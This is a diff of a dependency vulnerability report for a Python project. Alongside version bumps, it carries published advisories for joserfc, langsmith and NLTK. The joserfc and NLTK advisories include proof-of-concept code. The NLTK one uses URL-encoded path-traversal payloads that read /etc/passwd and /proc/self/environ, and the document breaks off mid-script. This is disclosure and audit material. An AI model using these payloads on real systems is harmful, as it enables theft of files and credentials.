@@ { "package": { "name": "data-designer", - "version": "0.6.1", + "version": "0.7.0", "ecosystem": "PyPI" }, "licenses": [ @@ -5299,7 +827,7 @@ { "package": { "name": "data-designer-config", - "version": "0.6.1", + "version": "0.7.0", "ecosystem": "PyPI" }, "licenses": [ @@ -5309,7 +837,7 @@ { "package": { "name": "data-designer-engine", - "version": "0.6.1", + "version": "0.7.0", "ecosystem": "PyPI" }, "licenses": [ @@ -5769,7 +1297,7 @@ { "package": { "name": "idna", - "version": "3.15", + "version": "3.18", "ecosystem": "PyPI" }, "licenses": [ @@ -5899,111 +1427,9 @@ { "package": { "name": "joserfc", - "version": "1.6.5", + "version": "1.7.2", "ecosystem": "PyPI" }, - "vulnerabilities": [ - { - "modified": "2026-07-01T23:59:17Z", - "published": "2026-06-26T20:59:38Z", - "schema_version": "1.7.5", - "id": "GHSA-wphv-vfrh-23q5", - "aliases": [ - "CVE-2026-48990" - ], - "related": [ - "CGA-g99c-9v78-pxx3" - ], - "summary": "joserfc: b64=false RFC7797 JWS payloads bypass JWSRegistry payload-size limits during deserialization", - "details": "# RFC7797 b64=false JWS payloads bypass JWSRegistry payload-size limits during deserialization\n\n## Summary\n\nTesting revealed that `joserfc` accepts oversized RFC7797 `b64=false` JWS payloads without applying `JWSRegistry.max_payload_length`.\n\nThe normal JWS compact and flattened JSON paths reject payloads above the configured payload-size limit with `ExceededSizeError`. The RFC7797 unencoded payload paths do not make the same check. A valid `b64=false` compact or flattened JSON JWS can therefore deserialize successfully with a payload larger than `JWSRegistry.max_payload_length`.\n\nThis creates a moderate availability/resource-exhaustion risk for applications that accept lower-trust JWS values and rely on `joserfc` to reject oversized token content during verification.\n\n## Affected Product\n\n- Package: `joserfc`\n- Ecosystem: `pip`\n- Audited release: `1.6.5`\n- Audit tag: `1.6.5`\n- Audit commit: `881712980934fb601bed26fe3ae1ec0b7780e6f7`\n- Tested affected releases: `1.3.4`, `1.3.5`, `1.4.2`, `1.6.2`, `1.6.3`, `1.6.4`, `1.6.5`\n- Fixed release: none known\n\n## Vulnerability Details\n\nIn `joserfc` 1.6.5, the default JWS registry has `max_payload_length = 128000` and exposes `validate_payload_size()`.\n\nThe normal compact extraction path calls that check before base64url-decoding the payload. The RFC7797 compact path validates the header and signature segment sizes, then assigns the unencoded payload directly:\n\n```text\nif is_rfc7797_enabled(protected):\n if not payload_segment and payload:\n payload_segment = to_bytes(payload)\n payload = payload_segment\n```\n\nThe flattened JSON RFC7797 path has the same pattern:\n\n```text\npayload_segment = value[\"payload\"].encode(\"utf-8\")\nif is_rfc7797_enabled(member.headers()):\n payload = payload_segment\n```\n\nNeither branch calls `registry.validate_payload_size(payload_segment)` before accepting the unencoded payload.\n\n## Reproduction\n\nThe proof below uses only local Python APIs. It signs a payload one byte over the default limit and then compares normal JWS behavior with RFC7797 `b64=false` behavior.\n\nRequirements:\n\n```bash\npython -m pip install \"joserfc==1.6.5\"\n```\n\nRun:\n\n```bash\npython joserfc_rfc7797_size_bypass_poc.py\n```\n\nSelf-contained proof script:\n\n```python\n#!/usr/bin/env python3\nimport json\n\nimport joserfc\nfrom joserfc import jws\nfrom joserfc.jwk import OctKey\n\n\ndef check_compact(name, header, payload, key):\n token = jws.serialize_compact(header, payload, key)\n try:\n obj = jws.deserialize_compact(token, key)\n return {\n \"case\": name,\n \"accepted\": True,\n \"exception\": None,\n \"payload_len_after_deserialize\": len(obj.payload),\n }\n except Exception as exc:\n return {\n \"case\": name,\n \"accepted\": False,\n \"exception\": type(exc).__name__,\n \"error\": str(exc),\n }\n\n\ndef check_json(name, protected, payload, key):\n data = jws.serialize_json({\"protected\": protected}, payload, key)\n try:\n obj = jws.deserialize_json(data, key)\n return {\n \"case\": name,\n \"accepted\": True,\n \"exception\": None,\n \"payload_len_after_deserialize\": len(obj.payload),\n }\n except Exception as exc:\n return {\n \"case\": name,\n \"accepted\": False,\n \"exception\": type(exc).__name__,\n \"error\": str(exc),\n }\n\n\nkey = OctKey.import_key(\"secret-secret-secret\")\nlimit = jws.default_registry.max_payload_length\npayload = \"A\" * (limit + 1)\n\nresults = {\n \"joserfc_version\": joserfc.__version__,\n \"default_max_payload_length\": limit,\n \"payload_len\": len(payload),\n \"compact\": [\n check_compact(\"normal_b64_true\", {\"alg\": \"HS256\"}, payload, key),\n check_compact(\n \"rfc7797_b64_false\",\n {\"alg\": \"HS256\", \"b64\": False, \"crit\": [\"b64\"]},\n payload,\n key,\n ),\n ],\n \"json\": [\n check_json(\"normal_b64_true_json\", {\"alg\": \"HS256\"}, payload, key),\n check_json(\n \"rfc7797_b64_false_json\",\n {\"alg\": \"HS256\", \"b64\": False, \"crit\": [\"b64\"]},\n payload,\n key,\n ),\n ],\n}\nprint(json.dumps(results, indent=2, sort_keys=True))\n```\n\nExpected output on `1.6.5` includes:\n\n```json\n{\n \"default_max_payload_length\": 128000,\n \"payload_len\": 128001,\n \"compact\": [\n {\n \"case\": \"normal_b64_true\",\n \"accepted\": false,\n \"exception\": \"ExceededSizeError\"\n },\n {\n \"case\": \"rfc7797_b64_false\",\n \"accepted\": true,\n \"exception\": null,\n \"payload_len_after_deserialize\": 128001\n }\n ],\n \"json\": [\n {\n \"case\": \"normal_b64_true_json\",\n \"accepted\": false,\n \"exception\": \"ExceededSizeError\"\n },\n {\n \"case\": \"rfc7797_b64_false_json\",\n \"accepted\": true,\n \"exception\": null,\n \"payload_len_after_deserialize\": 128001\n }\n ]\n}\n```\n\n## Version Checks\n\nI reproduced the same differential behavior on these releases:\n\n| Version | Normal JWS over limit | RFC7797 `b64=false` over limit |\n| --- | --- | --- |\n| 1.3.4 | `ExceededSizeError` | accepted |\n| 1.3.5 | `ExceededSizeError` | accepted |\n| 1.4.2 | `ExceededSizeError` | accepted |\n| 1.6.2 | `ExceededSizeError` | accepted |\n| 1.6.3 | `ExceededSizeError` | accepted |\n| 1.6.4 | `ExceededSizeError` | accepted |\n| 1.6.5 | `ExceededSizeError` | accepted |\n\nThe exact earliest affected release may be broader. The versions above are the releases I directly tested where the JWS size-limit boundary exists and the RFC7797 path bypasses it.\n\n## Relationship to Existing Advisories\n\nI found two related public advisories for `joserfc`, but neither appears to cover this root cause.\n\n`GHSA-frfh-8v73-gjg4` / `CVE-2025-65015` describes oversized token parts being included in `ExceededSizeError` messages in older release ranges. The issue described here reproduces in `1.6.5` and is not about exception message content. The oversized RFC7797 payload is accepted instead of raising `ExceededSizeError`.\n\n`GHSA-w5r5-m38g-f9f9` / `CVE-2026-27932` describes unbounded PBES2 `p2c` iteration counts during JWE decryption. The issue described here is in JWS RFC7797 payload extraction and does not involve PBES2 or JWE decryption.\n\n## Workarounds\n\nBefore a fixed release is available, affected applications can reduce exposure by rejecting oversized serialized JWS inputs before passing them to `joserfc`, disabling or disallowing RFC7797 `b64=false` tokens if not needed, and enforcing strict request/header/body size limits at the application or reverse-proxy layer.\n\n## Suggested Remediation\n\nApply `registry.validate_payload_size(payload_segment)` to RFC7797 unencoded payloads before assigning them to the JWS object in both compact and flattened JSON extraction paths. Detached RFC7797 compact payloads supplied through the `payload` argument should be checked in the same way.", - "severity": [ - { - "type": "CVSS_V3", - "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" - } - ], - "affected": [ - { - "package": { - "ecosystem": "PyPI", - "name": "joserfc", - "purl": "pkg:pypi/joserfc" - }, - "ranges": [ - { - "type": "ECOSYSTEM", - "events": [ - { - "introduced": "1.3.4" - }, - { - "fixed": "1.6.7" - } - ] - } - ], - "versions": [ - "1.3.4", - "1.3.5", - "1.4.0", - "1.4.1", - "1.4.2", - "1.4.3", - "1.5.0", - "1.6.0", - "1.6.1", - "1.6.2", - "1.6.3", - "1.6.4", - "1.6.5" - ], - "database_specific": { - "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-wphv-vfrh-23q5/GHSA-wphv-vfrh-23q5.json" - } - } - ], - "references": [ - { - "type": "WEB", - "url": "https://github.com/authlib/joserfc/security/advisories/GHSA-wphv-vfrh-23q5" - }, - { - "type": "ADVISORY", - "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48990" - }, - { - "type": "PACKAGE", - "url": "https://github.com/authlib/joserfc" - }, - { - "type": "WEB", - "url": "https://github.com/authlib/joserfc/releases/tag/1.6.7" - } - ], - "database_specific": { - "cwe_ids": [ - "CWE-400", - "CWE-770" - ], - "github_reviewed": true, - "github_reviewed_at": "2026-06-26T20:59:38Z", - "nvd_published_at": "2026-06-17T22:16:23Z", - "severity": "MODERATE" - } - } - ], - "groups": [ - { - "ids": [ - "GHSA-wphv-vfrh-23q5" - ], - "aliases": [ - "CVE-2026-48990", - "GHSA-wphv-vfrh-23q5" - ], - "max_severity": "5.3" - } - ], "licenses": [ "BSD-3-Clause" ] @@ -6247,632 +1673,63 @@ "licenses": [ "MIT" ] - }, - { - "package": { - "name": "langchain-text-splitters", - "version": "1.1.2", - "ecosystem": "PyPI" - }, - "licenses": [ - "MIT" - ] - }, - { - "package": { - "name": "langgraph", - "version": "1.2.6", - "ecosystem": "PyPI" - }, - "licenses": [ - "MIT" - ] - }, - { - "package": { - "name": "langgraph-checkpoint", - "version": "4.1.1", - "ecosystem": "PyPI" - }, - "licenses": [ - "MIT" - ] - }, - { - "package": { - "name": "langgraph-prebuilt", - "version": "1.1.0", - "ecosystem": "PyPI" - }, - "licenses": [ - "MIT" - ] - }, - { - "package": { - "name": "langgraph-sdk", - "version": "0.4.2", - "ecosystem": "PyPI" - }, - "licenses": [ - "MIT" - ] - }, - { - "package": { - "name": "langsmith", - "version": "0.8.2", - "ecosystem": "PyPI" - }, - "vulnerabilities": [ - { - "modified": "2026-06-20T19:59:25Z", - "published": "2026-06-19T22:10:34Z", - "schema_version": "1.7.5", - "id": "GHSA-f4xh-w4cj-qxq8", - "related": [ - "CGA-48gw-49h8-c5px" - ], - "summary": "LangSmith SDK TracingMiddleware: Arbitrary server-side file read", - "details": "# Summary\n\nAn attacker who can send an HTTP request to a server running the LangSmith SDK's `TracingMiddleware` can cause that server to read an arbitrary file from its local filesystem and upload the contents to LangSmith as a trace attachment. Depending on how the distributed trace system is deployed, triggering a read may not require authentication. Retrieving the contents requires read access to the LangSmith workspace the traces are sent to. The net effect is a trust-boundary crossing: a party with workspace trace-read access (for example a low-privilege workspace member, a contractor, or a compromised teammate account) gains the ability to read files from any server running `TracingMiddleware`, a capability outside that workspace's intended trust boundary.\n\n# Impact\n\nConfidentiality (High): arbitrary read of files accessible to the server process, exposed to anyone with workspace trace-read access.\n\n# Details\n\nTwo defects combine. A field supplied through a tracing-propagation header was merged into the run without validation, allowing injection of run attributes including attachments (CWE-346). A type check intended to gate filesystem access did not match the type of the decoded input, so the guard never engaged (CWE-843). As a result, an attacker-named file is opened by the server and uploaded as a trace attachment by the background tracing thread (CWE-22).\n\n## Who can exploit this\n\n- Anyone reachable by HTTP can trigger the file read. Depending on how the distributed trace system is deployed, triggering may not require authentication.\n- Retrieving the file contents requires read access to the destination LangSmith workspace. The upload uses the server's own configured API key and workspace, which the attacker cannot redirect, so a zero-access outsider cannot retrieve the result; a workspace member, or anyone who has compromised one, can.\n\n# Remediation\n\nUpgrade the Python SDK to `>= 0.8.18`.\n\n# Workarounds\n\nUntil upgrading, do not expose `TracingMiddleware` to untrusted HTTP traffic, and limit workspace trace-read access to trusted members.\n\n# Credits\n\nFirst reported by @Ryu7zz.", - "severity": [ - { - "type": "CVSS_V3", - "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N" - } - ], - "affected": [ - { - "package": { - "ecosystem": "PyPI", - "name": "langsmith", - "purl": "pkg:pypi/langsmith" - }, - "ranges": [ - { - "type": "ECOSYSTEM", - "events": [ - { - "introduced": "0" - }, - { - "fixed": "0.8.18" - } - ] - } - ], - "versions": [ - "0.0.0rc0", - "0.0.1", - "0.0.10", - "0.0.11", - "0.0.12", - "0.0.13", - "0.0.14", - "0.0.15", - "0.0.16", - "0.0.18", - "0.0.19", - "0.0.2", - "0.0.20", - "0.0.21", - "0.0.22", - "0.0.23", - "0.0.24", - "0.0.25", - "0.0.26", - "0.0.27", - "0.0.28", - "0.0.29", - "0.0.3", - "0.0.30", - "0.0.31", - "0.0.32", - "0.0.33", - "0.0.34", - "0.0.35", - "0.0.36", - "0.0.37", - "0.0.38", - "0.0.39", - "0.0.4", - "0.0.40", - "0.0.41", - "0.0.42", - "0.0.43", - "0.0.44", - "0.0.45", - "0.0.46", - "0.0.47", - "0.0.48", - "0.0.49", - "0.0.5", - "0.0.50", - "0.0.51", - "0.0.52", - "0.0.53", - "0.0.54", - "0.0.55", - "0.0.56", - "0.0.57", - "0.0.58", - "0.0.59", - "0.0.6", - "0.0.60", - "0.0.61", - "0.0.62", - "0.0.63", - "0.0.64", - "0.0.65", - "0.0.66", - "0.0.67", - "0.0.68", - "0.0.69", - "0.0.7", - "0.0.70", - "0.0.71", - "0.0.72", - "0.0.73", - "0.0.74", - "0.0.75", - "0.0.76", - "0.0.77", - "0.0.78", - "0.0.79", - "0.0.8", - "0.0.80", - "0.0.81", - "0.0.82", - "0.0.83", - "0.0.84", - "0.0.84rc1", - "0.0.84rc2", - "0.0.84rc3", - "0.0.84rc4", - "0.0.84rc5", - "0.0.85", - "0.0.86", - "0.0.86rc1", - "0.0.87", - "0.0.88", - "0.0.89", - "0.0.9", - "0.0.90", - "0.0.91", - "0.0.92", - "0.1.0", - "0.1.1", - "0.1.10", - "0.1.100", - "0.1.101", - "0.1.102", - "0.1.103", - "0.1.104", - "0.1.105", - "0.1.106", - "0.1.107", - "0.1.108", - "0.1.108rc0", - "0.1.109", - "0.1.11", - "0.1.110", - "0.1.111", - "0.1.112", - "0.1.113", - "0.1.114", - "0.1.115", - "0.1.115rc0", - "0.1.115rc1", - "0.1.116", - "0.1.116rc1", - "0.1.117", - "0.1.118", - "0.1.119", - "0.1.12", - "0.1.120", - "0.1.121", - "0.1.122", - "0.1.123", - "0.1.124", - "0.1.125", - "0.1.126", - "0.1.127", - "0.1.128", - "0.1.129", - "0.1.13", - "0.1.130", - "0.1.131", - "0.1.132", - "0.1.133", - "0.1.134", - "0.1.135", - "0.1.136", - "0.1.137", - "0.1.138", - "0.1.138rc1", - "0.1.138rc2", - "0.1.139", - "0.1.139rc1", - "0.1.139rc2", - "0.1.14", - "0.1.140", - "0.1.141", - "0.1.142", - "0.1.143", - "0.1.144", - "0.1.144rc1", - "0.1.144rc2", - "0.1.144rc3", - "0.1.145", - "0.1.146", - "0.1.147", - "0.1.148rc1", - "0.1.15", - "0.1.16", - "0.1.17", - "0.1.18", - "0.1.19", - "0.1.2", - "0.1.20", - "0.1.21", - "0.1.22", - "0.1.23", - "0.1.24", - "0.1.25", - "0.1.26", - "0.1.27", - "0.1.28", - "0.1.29", - "0.1.3", - "0.1.30", - "0.1.31", - "0.1.32rc1", - "0.1.32rc2", - "0.1.32rc3", - "0.1.32rc4", - "0.1.32rc5", - "0.1.32rc6", - "0.1.32rc7", - "0.1.32rc8", - "0.1.33", - "0.1.34", - "0.1.35", - "0.1.36", - "0.1.37", - "0.1.38", - "0.1.39", - "0.1.4", - "0.1.40", - "0.1.41", - "0.1.42", - "0.1.43", - "0.1.44", - "0.1.45", - "0.1.45rc1", - "0.1.46", - "0.1.46rc1", - "0.1.47", - "0.1.48", - "0.1.49", - "0.1.5", - "0.1.50", - "0.1.51", - "0.1.52", - "0.1.53", - "0.1.54", - "0.1.55", - "0.1.56", - "0.1.57", - "0.1.58", - "0.1.59", - "0.1.6", - "0.1.60", - "0.1.61", - "0.1.62", - "0.1.63", - "0.1.64", - "0.1.65", - "0.1.66", - "0.1.67", - "0.1.68", - "0.1.69", - "0.1.7", - "0.1.70", - "0.1.71", - "0.1.72", - "0.1.73", - "0.1.74", - "0.1.75", - "0.1.76", - "0.1.77", - "0.1.78", - "0.1.79", - "0.1.8", - "0.1.80", - "0.1.81", - "0.1.82", - "0.1.83", - "0.1.84", - "0.1.85", - "0.1.86", - "0.1.87", - "0.1.88", - "0.1.89", - "0.1.9", - "0.1.90", - "0.1.91", - "0.1.92", - "0.1.93", - "0.1.94", - "0.1.95", - "0.1.96", - "0.1.97", - "0.1.98", - "0.1.99", - "0.1.99rc1", - "0.2.0", - "0.2.1", - "0.2.10", - "0.2.11", - "0.2.11rc1", - "0.2.11rc10", - "0.2.11rc11", - "0.2.11rc12", - "0.2.11rc13", - "0.2.11rc14", - "0.2.11rc15", - "0.2.11rc2", - "0.2.11rc3", - "0.2.11rc4", - "0.2.11rc5", - "0.2.11rc6", - "0.2.11rc7", - "0.2.11rc8", - "0.2.11rc9", - "0.2.2", - "0.2.3", - "0.2.4", - "0.2.6", - "0.2.7", - "0.2.8", - "0.2.9", - "0.3.0", - "0.3.1", - "0.3.10", - "0.3.11", - "0.3.11rc1", - "0.3.12", - "0.3.13", - "0.3.14", - "0.3.14rc0", - "0.3.14rc1", - "0.3.15", - "0.3.16", - "0.3.17", - "0.3.18", - "0.3.18rc1", - "0.3.19", - "0.3.1rc1", - "0.3.2", - "0.3.20", - "0.3.21", - "0.3.22", - "0.3.23", - "0.3.24", - "0.3.25", - "0.3.25rc1", - "0.3.25rc2", - "0.3.26", - "0.3.27", - "0.3.27rc1", - "0.3.28", - "0.3.28rc1", - "0.3.28rc2", - "0.3.29", - "0.3.29rc0", - "0.3.3", - "0.3.30", - "0.3.31", - "0.3.32", - "0.3.33", - "0.3.34", - "0.3.35", - "0.3.36", - "0.3.37", - "0.3.37rc0", - "0.3.38", - "0.3.39", - "0.3.3rc0", - "0.3.4", - "0.3.40", - "0.3.41", - "0.3.42", - "0.3.43", - "0.3.44", - "0.3.45", - "0.3.5", - "0.3.6", - "0.3.7", - "0.3.8", - "0.3.9", - "0.4.0", - "0.4.1", - "0.4.10", - "0.4.11", - "0.4.12", - "0.4.13", - "0.4.14", - "0.4.15", - "0.4.16", - "0.4.17", - "0.4.18", - "0.4.19", - "0.4.2", - "0.4.20", - "0.4.21", - "0.4.22", - "0.4.23", - "0.4.24", - "0.4.25", - "0.4.26", - "0.4.27", - "0.4.28", - "0.4.29", - "0.4.3", - "0.4.30", - "0.4.31", - "0.4.32", - "0.4.32rc0", - "0.4.33", - "0.4.34", - "0.4.35", - "0.4.35rc1", - "0.4.36", - "0.4.37", - "0.4.38", - "0.4.39", - "0.4.39rc0", - "0.4.39rc1", - "0.4.4", - "0.4.40", - "0.4.41", - "0.4.42", - "0.4.42rc0", - "0.4.43", - "0.4.43rc0", - "0.4.44", - "0.4.45", - "0.4.46", - "0.4.47", - "0.4.48", - "0.4.49", - "0.4.5", - "0.4.50", - "0.4.51", - "0.4.52", - "0.4.53", - "0.4.54", - "0.4.54rc0", - "0.4.55", - "0.4.56", - "0.4.57", - "0.4.58", - "0.4.59", - "0.4.6", - "0.4.60", - "0.4.7", - "0.4.8", - "0.4.9", - "0.5.0", - "0.5.1", - "0.5.2", - "0.6.0", - "0.6.0rc0", - "0.6.1", - "0.6.2", - "0.6.3", - "0.6.4", - "0.6.5", - "0.6.6", - "0.6.7", - "0.6.8", - "0.6.9", - "0.7.0", - "0.7.1", - "0.7.10", - "0.7.11", - "0.7.12", - "0.7.13", - "0.7.14", - "0.7.15", - "0.7.16", - "0.7.17", - "0.7.18", - "0.7.19", - "0.7.2", - "0.7.20", - "0.7.21", - "0.7.22", - "0.7.23", - "0.7.24", - "0.7.25", - "0.7.26", - "0.7.27", - "0.7.28", - "0.7.29", - "0.7.3", - "0.7.30", - "0.7.31", - "0.7.32", - "0.7.33", - "0.7.34", - "0.7.35", - "0.7.36", - "0.7.37", - "0.7.38", - "0.7.4", - "0.7.5", - "0.7.6", - "0.7.7", - "0.7.8", - "0.7.9", - "0.8.0", - "0.8.1", - "0.8.10", - "0.8.11", - "0.8.12", - "0.8.14", - "0.8.15", - "0.8.16", - "0.8.17", - "0.8.2", - "0.8.3", - "0.8.4", - "0.8.5", - "0.8.6", - "0.8.7", - "0.8.8", - "0.8.9" - ], - "database_specific": { - "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-f4xh-w4cj-qxq8/GHSA-f4xh-w4cj-qxq8.json" - } - } - ], - "references": [ - { - "type": "WEB", - "url": "https://github.com/langchain-ai/langsmith-sdk/security/advisories/GHSA-f4xh-w4cj-qxq8" - }, - { - "type": "PACKAGE", - "url": "https://github.com/langchain-ai/langsmith-sdk" - } - ], - "database_specific": { - "cwe_ids": [ - "CWE-22", - "CWE-346", - "CWE-843" - ], - "github_reviewed": true, - "github_reviewed_at": "2026-06-19T22:10:34Z", - "nvd_published_at": null, - "severity": "HIGH" - } - } - ], - "groups": [ - { - "ids": [ - "GHSA-f4xh-w4cj-qxq8" - ], - "aliases": [ - "GHSA-f4xh-w4cj-qxq8" - ], - "max_severity": "7.7" - } - ], + }, + { + "package": { + "name": "langchain-text-splitters", + "version": "1.1.2", + "ecosystem": "PyPI" + }, + "licenses": [ + "MIT" + ] + }, + { + "package": { + "name": "langgraph", + "version": "1.2.6", + "ecosystem": "PyPI" + }, + "licenses": [ + "MIT" + ] + }, + { + "package": { + "name": "langgraph-checkpoint", + "version": "4.1.1", + "ecosystem": "PyPI" + }, + "licenses": [ + "MIT" + ] + }, + { + "package": { + "name": "langgraph-prebuilt", + "version": "1.1.0", + "ecosystem": "PyPI" + }, + "licenses": [ + "MIT" + ] + }, + { + "package": { + "name": "langgraph-sdk", + "version": "0.4.2", + "ecosystem": "PyPI" + }, + "licenses": [ + "MIT" + ] + }, + { + "package": { + "name": "langsmith", + "version": "0.9.8", + "ecosystem": "PyPI" + }, "licenses": [ "MIT" ] @@ -7070,7 +1927,7 @@ { "package": { "name": "nemo-anonymizer", - "version": "0.2.1", + "version": "0.3.0", "ecosystem": "PyPI" }, "licenses": [ @@ -7144,6 +2001,137 @@ "ecosystem": "PyPI" }, "vulnerabilities": [ + { + "modified": "2026-07-08T07:15:14Z", + "published": "2026-06-22T19:17:20Z", + "schema_version": "1.7.5", + "id": "PYSEC-2026-2078", + "aliases": [ + "CVE-2026-54293", + "GHSA-p4gq-832x-fm9v" + ], + "details": "NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. Prior to 3.10.0-rc1, nltk.data.load() in NLTK is vulnerable to path traversal via URL-encoded path separators and traversal segments when using the nltk: URL scheme. The unsafe-path regex check is performed before url2pathname() decodes the %xx sequences (a classic decode-after-check / TOCTOU-style flaw), allowing an attacker to bypass the protection documented in NLTK's SECURITY.md and read arbitrary files from the filesystem. While literal traversal strings such as ../../../etc/passwd are correctly blocked, encoded variants such as %2fetc%2fpasswd, %2e%2e%2f..., and ..%2f..%2f slip past the regex and are subsequently decoded into a real filesystem path. This vulnerability is fixed in 3.10.0-rc1.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "nltk", + "purl": "pkg:pypi/nltk" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "3.10.0" + } + ] + } + ], + "versions": [ + "0.8", + "0.9", + "0.9.3", + "0.9.4", + "0.9.5", + "0.9.6", + "0.9.7", + "0.9.8", + "0.9.9", + "2.0.1", + "2.0.1rc1", + "2.0.1rc2-git", + "2.0.1rc3", + "2.0.1rc4", + "2.0.2", + "2.0.3", + "2.0.4", + "2.0.5", + "2.0b4", + "2.0b5", + "2.0b6", + "2.0b7", + "2.0b8", + "2.0b9", + "3.0.0", + "3.0.0b1", + "3.0.0b2", + "3.0.1", + "3.0.2", + "3.0.3", + "3.0.4", + "3.0.5", + "3.1", + "3.2", + "3.2.1", + "3.2.2", + "3.2.3", + "3.2.4", + "3.2.5", + "3.3", + "3.4", + "3.4.1", + "3.4.2", + "3.4.3", + "3.4.4", + "3.4.5", + "3.5", + "3.5b1", + "3.6", + "3.6.1", + "3.6.2", + "3.6.3", + "3.6.4", + "3.6.5", + "3.6.6", + "3.6.7", + "3.7", + "3.8", + "3.8.1", + "3.9", + "3.9.1", + "3.9.2", + "3.9.3", + "3.9.4", + "3.9b1" + ], + "database_specific": { + "source": "https://github.com/pypa/advisory-database/blob/main/vulns/nltk/PYSEC-2026-2078.yaml" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://access.redhat.com/security/cve/CVE-2026-54293" + }, + { + "type": "WEB", + "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-54293.json" + }, + { + "type": "REPORT", + "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2491486" + }, + { + "type": "FIX", + "url": "https://github.com/nltk/nltk/pull/3575" + }, + { + "type": "EVIDENCE", + "url": "https://github.com/nltk/nltk/security/advisories/GHSA-p4gq-832x-fm9v" + } + ] + }, { "modified": "2026-07-01T18:15:06Z", "published": "2026-06-30T01:16:29Z", @@ -7259,12 +2247,16 @@ ] }, { - "modified": "2026-06-16T14:45:07Z", + "modified": "2026-07-08T15:29:23Z", "published": "2026-06-16T14:34:15Z", "schema_version": "1.7.5", "id": "GHSA-p4gq-832x-fm9v", "aliases": [ - "CVE-2026-54293" + "CVE-2026-54293", + "PYSEC-2026-2078" + ], + "related": [ + "CGA-mg56-c29x-gf4f" ], "summary": "Natural Language Toolkit (NLTK): URL-Encoded Path Traversal in nltk.data.load() Allows Arbitrary Local File Read", "details": "### Summary\nnltk.data.load() in NLTK is vulnerable to path traversal via URL-encoded path separators and traversal segments when using the nltk: URL scheme. The unsafe-path regex check is performed before url2pathname() decodes the %xx sequences (a classic decode-after-check / TOCTOU-style flaw), allowing an attacker to bypass the protection documented in NLTK's SECURITY.md and read arbitrary files from the filesystem.\nWhile literal traversal strings such as ../../../etc/passwd are correctly blocked, encoded variants such as %2fetc%2fpasswd, %2e%2e%2f..., and ..%2f..%2f slip past the regex and are subsequently decoded into a real filesystem path.\n### Affected Component\nnltk/data.py \u2014 find(), normalize_resource_url(), and the _UNSAFE_NO_PROTOCOL_RE regex check.\nRelevant occurrences:\n\ndata.py L650\u2013L653 \u2014 final path constructed from url2pathname(resource_name) after checks\ndata.py L54\u2013L69 \u2014 _UNSAFE_NO_PROTOCOL_RE operates only on the undecoded string\ndata.py L219\u2013L245 \u2014 normalize_resource_url() for nltk: scheme contributes to decode-after-check\ndata.py L615\u2013L618 \u2014 defense-in-depth traversal check also operates on undecoded input\n\nRoot Cause\nThe regex _UNSAFE_NO_PROTOCOL_RE is matched against the raw resource string. Path normalization via url2pathname() happens later, so any percent-encoded / (%2f) or . (%2e) is invisible to the regex but becomes active in the final path.\n### Proof of Concept\n```\n\"\"\"\nNLTK Arbitrary File Read via URL-Encoded Path Traversal\n=======================================================\nBypasses _UNSAFE_NO_PROTOCOL_RE security regex in nltk/data.py\nby URL-encoding path separators and traversal components.\n\nAffected: NLTK <= 3.9.4 (default ENFORCE=False configuration)\nCWE: CWE-22 (Path Traversal)\n\nRoot Cause:\n nltk/data.py:find() checks resource names against a regex for\n traversal patterns (../, leading /, etc.) BEFORE calling\n url2pathname() which decodes %xx sequences. This is a classic\n \"decode-after-check\" vulnerability.\n\"\"\"\n\nimport sys\nimport os\nimport warnings\n\n# Suppress NLTK security warnings for clean PoC output\nwarnings.filterwarnings(\"ignore\", category=RuntimeWarning)\n\n# Setup\nsys.path.insert(0, os.path.join(os.path.dirname(__file__), \"nltk\"))\nos.makedirs(os.path.expanduser(\"~/nltk_data/corpora\"), exist_ok=True)\n\nimport nltk\nfrom nltk.pathsec import ENFORCE\n\nBANNER = \"\"\"\n===================================================\n NLTK URL-Encoded Path Traversal PoC\n Affected: nltk <= 3.9.4\n Default ENFORCE={enforce}\n===================================================\n\"\"\".format(enforce=ENFORCE)\n\ndef test_variant(name, payload, fmt=\"raw\"):\n \"\"\"Test a single traversal variant.\"\"\"\n try:\n content = nltk.data.load(payload, format=fmt)\n if isinstance(content, bytes):\n preview = content[:200].decode(\"utf-8\", errors=\"replace\")\n else:\n preview = content[:200]\n first_line = preview.split(\"\\n\")[0]\n print(f\" [VULN] {name}\")\n print(f\" Payload: {payload}\")\n print(f\" Read OK: {first_line}\")\n return True\n except Exception as e:\n print(f\" [SAFE] {name}\")\n print(f\" Payload: {payload}\")\n print(f\" Blocked: {type(e).__name__}: {e}\")\n return False\n\n\ndef main():\n print(BANNER)\n vulns = 0\n\n # --- Variant 1: URL-encoded absolute path ---\n print(\"[1] URL-encoded absolute path (%2f = /)\")\n if test_variant(\n \"Encoded leading slash bypasses ^/ regex check\",\n \"nltk:%2fetc%2fpasswd\",\n ):\n vulns += 1\n\n print()\n\n # --- Variant 2: Encoded dot-dot traversal ---\n print(\"[2] URL-encoded dot-dot traversal (%2e = .)\")\n if test_variant(\n \"Encoded dots bypass \\\\.\\\\./ regex check\",\n \"nltk:corpora/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\",\n ):\n vulns += 1\n\n print()\n\n # --- Variant 3: Literal dots with encoded slash ---\n print(\"[3] Literal dots with encoded slash (..%2f)\")\n if test_variant(\n \"Encoded slash after literal .. bypasses \\\\.\\\\./ regex\",\n \"nltk:corpora/..%2f..%2f..%2f..%2f..%2fetc%2fpasswd\",\n ):\n vulns += 1\n\n print()\n\n # --- Variant 4: Read process environment (credential leak) ---\n print(\"[4] Read /proc/self/environ (credential leakage)\")\n try:\n content = nltk.data.load(\"nltk:%2fproc%2fself%2fenviron\", format=\"raw\")\n env_vars = content.decode(\"utf-8\", errors=\"replace\").split(\"\\x00\")\n print(f\" [VULN] Leaked {len(env_vars)} environment variables\")\n for var in 